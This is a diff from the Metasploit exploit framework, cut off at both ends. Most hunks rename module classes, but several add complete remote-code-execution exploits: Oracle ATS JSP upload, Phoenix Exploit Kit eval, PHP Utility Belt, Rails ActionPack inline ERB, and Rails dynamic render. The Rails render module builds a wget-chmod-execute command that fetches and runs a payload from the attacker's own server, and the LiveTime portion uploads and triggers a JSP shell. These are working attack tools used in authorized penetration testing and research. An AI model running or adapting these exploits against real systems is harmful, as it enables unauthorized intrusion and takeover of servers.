jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit + version = get_version + + # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + } + }) + + if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ + login_url = $2 + @cookies = res.get_cookies + if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/ + password_form = $1 + else + # we shouldn't hit this condition at all, this is default for v7+ + password_form = 'password' + end + if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/ + username_form = $1 + else + # we shouldn't hit this condition at all, this is default for v7+ + username_form = 'username' + end + else + fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.") + end + + # 2: authenticate and get the import_url + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(login_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + username_form => datastore['USERNAME'], + password_form => datastore['PASSWORD'], + 'ButtonLogin' => 'Login' + } + }) + + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\/) # v6.5 + import_url = $1 + else + # hmm either the password is wrong or someone else is using "our" account.. . + # let's try to boot him out + if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ && + res.body.to_s =~ /This account is in use on another system/ + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(login_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + username_form => datastore['USERNAME'], + password_form => datastore['PASSWORD'], + 'ButtonLoginOverride' => 'Login' + } + }) + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\/) # v6.5 + import_url = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") + end + end + + # 3: get the upload_url + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(import_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + 'ButtonImport' => 'Import' + } + }) + + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\/) # v6.5 + @upload_url = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.") + end + + if res.body.to_s =~ /\/ + @upload_form = $1 + else + # go with the default for 7.1.0, might not work with other versions... + @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23" + end + + # 4: target selection + @my_target = nil + # pick_target returns the traversal_path and sets @my_target + traversal_path = pick_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.") + else + print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + # 5: generate the JSP with the payload + jsp = create_jsp + print_status("#{peer} - Uploading payload...") + jsp_name = upload_jsp(traversal_path, jsp) + if traversal_path.include? '/srv/tomcat6/webapps/' + register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) + else + register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) + end + + # 6: pwn it! + print_status("#{peer} - Requesting #{jsp_name}") + send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)}) + + handler + end +end diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index 885c5052db..646a6d6b59 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index d46dd09a10..d8a570bf4c 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index d18396ba80..e12572648c 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty)/ ] } diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index 4be4d81ca7..d4a5f60cac 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 1a097fd6bb..0fd826a77b 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb index d9017acff1..2b1876fd2f 100644 --- a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb +++ b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/oracle_ats_file_upload.rb b/modules/exploits/multi/http/oracle_ats_file_upload.rb new file mode 100644 index 0000000000..73c7ddc001 --- /dev/null +++ b/modules/exploits/multi/http/oracle_ats_file_upload.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle ATS Arbitrary File Upload', + 'Description' => %q{ + This module exploits an authentication bypass and arbitrary file upload + in Oracle Application Testing Suite (OATS), version 12.4.0.2.0 and + unknown earlier versions, to upload and execute a JSP shell. + }, + 'Author' => [ + 'Zhou Yu', # Proof of concept + 'wvu' # Metasploit module + ], + 'References' => [ + %w{CVE 2016-0492}, # Auth bypass + %w{CVE 2016-0491}, # File upload + %w{EDB 39691} # PoC + ], + 'DisclosureDate' => 'Jan 20 2016', + 'License' => MSF_LICENSE, + 'Platform' => %w{win linux}, + 'Arch' => ARCH_JAVA, + 'Privileged' => true, + 'Targets' => [ + ['OATS <= 12.4.0.2.0 (Windows)', 'Platform' => 'win'], + ['OATS <= 12.4.0.2.0 (Linux)', 'Platform' => 'linux'] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(8088) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/admin/Login.do' + ) + + if res && res.body.include?('12.4.0.2.0') + CheckCode::Appears + else + CheckCode::Safe + end + end + + def exploit + print_status("Uploading JSP shell to #{jsp_path}") + upload_jsp_shell + print_status("Executing JSP shell: #{full_uri}olt/pages/#{jsp_filename}") + exec_jsp_shell + end + + def upload_jsp_shell + mime = Rex::MIME::Message.new + mime.add_part('.jsp', nil, nil, 'form-data; name="storage.extension"') + mime.add_part(jsp_filename, nil, nil, 'form-data; name="fileName1"') + mime.add_part('', nil, nil, 'form-data; name="fileName2"') # Not needed + mime.add_part('', nil, nil, 'form-data; name="fileName3"') # Not needed + mime.add_part('', nil, nil, 'form-data; name="fileName4"') # Not needed + mime.add_part('*', nil, nil, 'form-data; name="fileType"') + mime.add_part(payload.encoded, 'text/plain', nil, + %Q{form-data; name="file1"; filename="#{jsp_filename}"}) + mime.add_part('Default', nil, nil, 'form-data; name="storage.repository"') + mime.add_part('.', nil, nil, 'form-data; name="storage.workspace"') + mime.add_part(jsp_directory, nil, nil, 'form-data; name="directory"') + + register_files_for_cleanup(jsp_path) + + send_request_cgi( + 'method' => 'POST', + 'uri' => '/olt/Login.do/../../olt/UploadFileUpload.do', + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + end + + def exec_jsp_shell + send_request_cgi( + 'method' => 'GET', + 'uri' => "/olt/pages/#{jsp_filename}" + ) + end + + def jsp_directory + case target['Platform'] + when 'win' + '..\\oats\\servers\\AdminServer\\tmp\\_WL_user\\oats_ee\\1ryhnd\\war\\pages' + when 'linux' + '../oats/servers/AdminServer/tmp/_WL_user/oats_ee/1ryhnd/war/pages' + end + end + + def jsp_filename + @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp' + end + + def jsp_path + jsp_directory + "#{target['Platform'] == 'win' ? '\\' : '/'}" + jsp_filename + end + +end diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index aa96081ab7..4b8bf6c40b 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'uri' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/http/pandora_upload_exec.rb b/modules/exploits/multi/http/pandora_upload_exec.rb index e260323353..21e9ab5a64 100644 --- a/modules/exploits/multi/http/pandora_upload_exec.rb +++ b/modules/exploits/multi/http/pandora_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phoenix_exec.rb b/modules/exploits/multi/http/phoenix_exec.rb new file mode 100644 index 0000000000..b599b60a1a --- /dev/null +++ b/modules/exploits/multi/http/phoenix_exec.rb @@ -0,0 +1,73 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Phoenix Exploit Kit Remote Code Execution', + 'Description' => %q{ + This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via geoip.php. The + Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the + presence of outdated and insecure versions of browser plugins like Java and Adobe Flash and Reader, + silently installing malware if found. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'CrashBandicot', #initial discovery by @DosPerl + 'Jay Turla' #msf module by @shipcod3 + ], + 'References' => + [ + [ 'EDB', '40047' ], + [ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit + [ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'DisclosureDate' => 'Jul 01 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']) + ], self.class) + end + + def check + test = Rex::Text.rand_text_alpha(8) + res = http_send_command("echo \"#{test}\";") + if res && res.body.include?(test) + return Exploit::CheckCode::Vulnerable + end + Exploit::CheckCode::Safe + end + + def exploit + encoded = Rex::Text.encode_base64(payload.encoded) + http_send_command("eval(base64_decode(\"#{encoded}\"));") + end + + def http_send_command(cmd) + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + 'bdr' => cmd + } + ) + end +end diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 5ff2a02952..a5d142906b 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/php_utility_belt_rce.rb b/modules/exploits/multi/http/php_utility_belt_rce.rb new file mode 100644 index 0000000000..9f499e41a3 --- /dev/null +++ b/modules/exploits/multi/http/php_utility_belt_rce.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PHP Utility Belt Remote Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in PHP Utility Belt, + which is a set of tools for PHP developers and should not be installed in a + production environment, since this application runs arbitrary PHP code as an + intended functionality. + }, + 'Author' => + [ + 'WICS', # initial discovery + 'Jay Turla' # msf + ], + 'References' => + [ + ['EDB', '38901'], + ['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo + ], + 'DisclosureDate' => 'Dec 08 2015', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true + }, + 'Targets' => + [ + ['PHP Utility Belt', {}] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php']) + ], self.class) + end + + def check + txt = Rex::Text.rand_text_alpha(8) + res = http_send_command("echo #{txt};") + + if res && res.body.include?(txt) + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + http_send_command(payload.encoded) + end + + def http_send_command(cmd) + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'vars_post' => { + 'code' => cmd + } + ) + end + +end diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 56dcda56d7..096812613d 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index ee92c2d006..2bf5e4a4ac 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index f4a13ff765..662214c355 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phpmoadmin_exec.rb b/modules/exploits/multi/http/phpmoadmin_exec.rb index 7c6bcd0db1..48e01b6851 100644 --- a/modules/exploits/multi/http/phpmoadmin_exec.rb +++ b/modules/exploits/multi/http/phpmoadmin_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb index 07e724ebec..a540ab99c6 100644 --- a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb +++ b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor', 'Description' => %q{ This module exploits an arbitrary code execution backdoor - placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror. + placed into phpMyAdmin v3.5.2.2 through a compromised SourceForge mirror. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index f08271cfe8..c2a6c602d5 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb index 1cb52422ab..567b014c8c 100644 --- a/modules/exploits/multi/http/phpscheduleit_start_date.rb +++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 298234721b..b9d2ab419a 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb index 2eed181293..63d2cd6da9 100644 --- a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb +++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 85ae5364aa..fddf70ee17 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 69eaf74d1e..e0ddb9bc03 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index ee5adbdc09..68596ebef7 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index 9a7f37a6ca..da859cb3f4 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index ad3841acbc..ff4b154ed1 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/rails_actionpack_inline_exec.rb b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb new file mode 100644 index 0000000000..810ca9abef --- /dev/null +++ b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb @@ -0,0 +1,70 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails ActionPack Inline ERB Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in the + inline request processor of the Ruby on Rails ActionPack component. + This vulnerability allows an attacker to process ERB to the inline + JSON processor, which is then rendered, permitting full RCE within + the runtime, without logging an error condition. + }, + 'Author' => + [ + 'RageLtMan ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-2098' ] + ], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DisclosureDate' => 'Mar 1 2016', + 'DefaultOptions' => { + "PrependFork" => true + }, + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), + OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id']) + ], self.class) + + end + + def json_request + code = Rex::Text.encode_base64(payload.encoded) + return { + datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"} + }.to_json + end + + def exploit + print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}") + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json' + }, + 'data' => json_request + }, 25) + end +end diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb new file mode 100644 index 0000000000..b9c1bedb10 --- /dev/null +++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb @@ -0,0 +1,200 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in the explicit render + method when leveraging user parameters. + This module has been tested across multiple versions of Ruby on Rails. + The technique used by this module requires the specified + endpoint to be using dynamic render paths, such as the following example: + + def show + render params[:id] + end + + Also, the vulnerable target will need a POST endpoint for the TempFile upload, this + can literally be any endpoint. This module doesnt use the log inclusion method of + exploitation due to it not being universal enough. Instead, a new code injection + technique was found and used whereby an attacker can upload temporary image files + against any POST endpoint and use them for the inclusion attack. Finally, you only + get one shot at this if you are testing with the builtin rails server, use caution. + }, + 'Author' => + [ + 'mr_me ', # necromanced old bug & discovered new vector rce vector + 'John Poulin (forced-request)' # original render bug finder + ], + 'References' => + [ + [ 'CVE', '2016-0752'], + [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch + [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016 + [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'bsd'], + 'Arch' => ARCH_X86, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Privileged' => false, + 'Targets' => + [ + [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 16 2016')) + register_options( + [ + Opt::RPORT(3000), + OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]), + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), + ], self.class) + end + + def check + + # this is the check for the dev environment + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URIPATH'], "%2f"), + 'method' => 'GET', + }, 60) + + # if the page controller is dynamically rendering, its for sure vuln + if res and res.body =~ /render params/ + return CheckCode::Vulnerable + end + + # this is the check for the prod environment + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"), + 'method' => 'GET', + }, 60) + + # if we can read files, its likley we can execute code + if res and res.body =~ /ruby/ + return CheckCode::Appears + end + return CheckCode::Safe + end + + def on_request_uri(cli, request) + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + def send_payload + @bd = rand_text_alpha(8+rand(8)) + fn = rand_text_alpha(8+rand(8)) + un = rand_text_alpha(8+rand(8)) + pn = rand_text_alpha(8+rand(8)) + register_file_for_cleanup("/tmp/#{@bd}") + cmd = "wget #{@service_url} -O /tmp/#{@bd};" + cmd << "chmod 755 /tmp/#{@bd};" + cmd << "/tmp/#{@bd}" + pay = "<%=`#{cmd}`%>" + print_status("uploading image...") + data = Rex::MIME::Message.new + data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"') + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => @cookie, + 'uri' => normalize_uri(datastore['URIPATH'], pn), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + }) + if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/ + @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/ + return true + else + + # this is where we pull the log file + if leak_log + return true + end + end + return false + end + + def leak_log + + # path to the log /proc/self/fd/7 + # this bypasses the extension check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"), + 'method' => 'GET', + }, 60) + + if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/ + @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/ + return true + end + return false + end + + def start_http_server + @pl = generate_payload_exe + @elf_sent = false + downfile = rand_text_alpha(8+rand(8)) + resource_uri = '/' + downfile + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + # do not use SSL for the attacking web server + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + @service_url = 